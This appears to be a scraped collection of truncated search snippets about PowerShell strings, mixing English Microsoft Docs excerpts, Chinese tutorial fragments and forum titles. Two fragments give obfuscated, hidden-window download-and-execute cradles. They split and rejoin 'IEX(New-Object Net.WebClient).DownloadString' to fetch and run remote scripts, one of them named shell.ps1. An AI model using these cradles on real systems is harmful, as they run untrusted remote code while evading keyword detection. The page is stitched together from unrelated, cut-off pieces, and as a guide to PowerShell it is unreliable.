Format string Show 9 more There are many ways to use variables in strings. I'm calling this variable substitution but I'm referring to any time you want to format a string to include values from variables. This is something that I often find myself explaining to new scripters. N...
-notin 判斷指定的值是否不在集合中 -replace 取代指定的值 正確使用大小寫的「PowerShell」等於小寫的「powershell」,這是使用 equals 比較運算子比較得出的結果。 PowerShell 複製 'PowerShell' -eq 'powershell' Output 複製 True 使用區分大小寫的相等比較運算子時,結果不是相等的。 PowerShell 複製...
也可以使用运算符完成上述操作$s1,$s2 -join 或者利用.NET:[System.String]::Concat($s1,$s2) 子串:$s1.SubString(3,5) 字符串格式化:'{0} -f $var',注意这里格式化不需要考虑上述的单双引号规则 替换:$s1.Replace('a','b') 数组 和变量声明相同 $k= @()#初始化空数组$k= 1,2,3,4,5#初始...
Everything you wanted to know about variable substitution in strings - PowerShell | Microsoft Docs 2Variable substitution 2Command substitution 3Command execution 2Format string 3Format values as arrays 2...
混淆可以使用Replace替代代码关键词部分字母,加上通过拆分后再组合的方法 例如: powershell.exe -nop -w hidden -c"$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://0.0.0.0:4545/text.txt'')'.Replace('123','adString');IEX ($c1+$c2)" ...
-ErrorAction:SilentlyContinue parameter is not being respected & $error variable not updated -ExpandProperty & Export CSV !!! powershell script to add a word in the beginning of the text file - URGENT !!! 'A positional parameter cannot be found that accepts argument '$null'. 'Name' Attribu...
$value"|Out-Null}functionSet-PersistentEnvironmentVariable{param([Parameter()][System.String]$Name,...
True True String[] System.Array Next, we used the -join operator to join all array elements created using the -split operator into one string. Again, the resulting string will also not has the a character. So, in the above example, it took the $string variable, split it wherever it fo...
WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString...
5.Set-Variable :设置变量的值,如果该变量还不存在,则创建该变量 6.Set-PSBreakpoint :在行、命令或者变量上设置断点 7.Set-Location :将当前工作位置设置为指定的位置 8.Set-Item :将项的值更改为命令中指定的值 9.Set-Service :启动、停止和挂起服务并更改服务的属性 ...